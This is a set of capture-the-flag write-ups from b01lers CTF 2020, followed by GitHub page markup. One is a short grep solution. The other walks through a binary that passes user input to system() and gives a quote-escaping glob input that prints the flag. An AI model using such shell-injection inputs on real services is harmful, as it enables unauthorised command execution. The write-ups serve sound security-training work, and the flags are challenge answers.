We were given a haystack that consists of random files containing random stuffs, packed inside a 145mb zip file. To obtain the flag extract the zip file, then use grep to find the string flag.

__flag : flag{y0u_f0unD_Th3_n33d1e!}__ |
# b01lers bootcamp CTF 2020
## White Rabbit
> 100>> Follow the white rabbit...>> `nc chal.ctf.b01lers.com 1013`>> [whiterabbit](whiterabbit)
Tags: _x86-64_ _unsanitized-input_ _linux_ _bash_
## Summary
Fool a simple check with an unsanitized string.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
Nice! All mitigations in place.
### Decompile with Ghidra
```cundefined8 FUN_00101249(void){ char *pcVar1; long in_FS_OFFSET; char local_158 [64]; char local_118 [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); puts("Follow the white rabbit."); printf("Path to follow: "); __isoc99_scanf(&DAT_00102032,local_158); pcVar1 = strstr(local_158,"flag"); if (pcVar1 != (char *)0x0) { puts("No printing the flag."); exit(0); } sprintf(local_118,"[ -f \'%1$s\' ] && cat \'%1$s\' || echo File does not exist",local_158); system(local_118); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return 0;}```
`system` just executes `[ -f 'yourinput' ] && cat 'yourinput' || echo File does not exist`.
`yourinput` cannot have `flag` in it, and the single quotes prevent shell expansion, e.g. trying to use `f*`.
Since nothing is sanitizing the input we can just close the single quote to score an expansion and get the flag. `'f*'` will do the trick, now `system` will execute:
```bash[ -f ''f*'' ] && cat ''f*'' || echo File does not exist```
## Exploit
```bash# nc chal.ctf.b01lers.com 1013Follow the white rabbit.Path to follow: 'f*'flag{Th3_BuNNy_wabbit_l3d_y0u_h3r3_4_a_reason}``` |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" />
<script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script>
<meta name="viewport" content="width=device-width"> <title>Ctf/b01lersCTF 2k20/Misc/Needle In a Haystack at master · Ammmy7580/Ctf · GitHub</title> <meta name="description" content="Contribute to Ammmy7580/Ctf development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/3b401f9ed29df14803630caf72470757fc0e1c92bf0e7c74a83d6b475cb9cf9c/Ammmy7580/Ctf" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Ctf/b01lersCTF 2k20/Misc/Needle In a Haystack at master · Ammmy7580/Ctf" /><meta name="twitter:description" content="Contribute to Ammmy7580/Ctf development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/3b401f9ed29df14803630caf72470757fc0e1c92bf0e7c74a83d6b475cb9cf9c/Ammmy7580/Ctf" /><meta property="og:image:alt" content="Contribute to Ammmy7580/Ctf development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Ctf/b01lersCTF 2k20/Misc/Needle In a Haystack at master · Ammmy7580/Ctf" /><meta property="og:url" content="https://github.com/Ammmy7580/Ctf" /><meta property="og:description" content="Contribute to Ammmy7580/Ctf development by creating an account on GitHub." />
<link rel="assets" href="https://github.githubassets.com/">
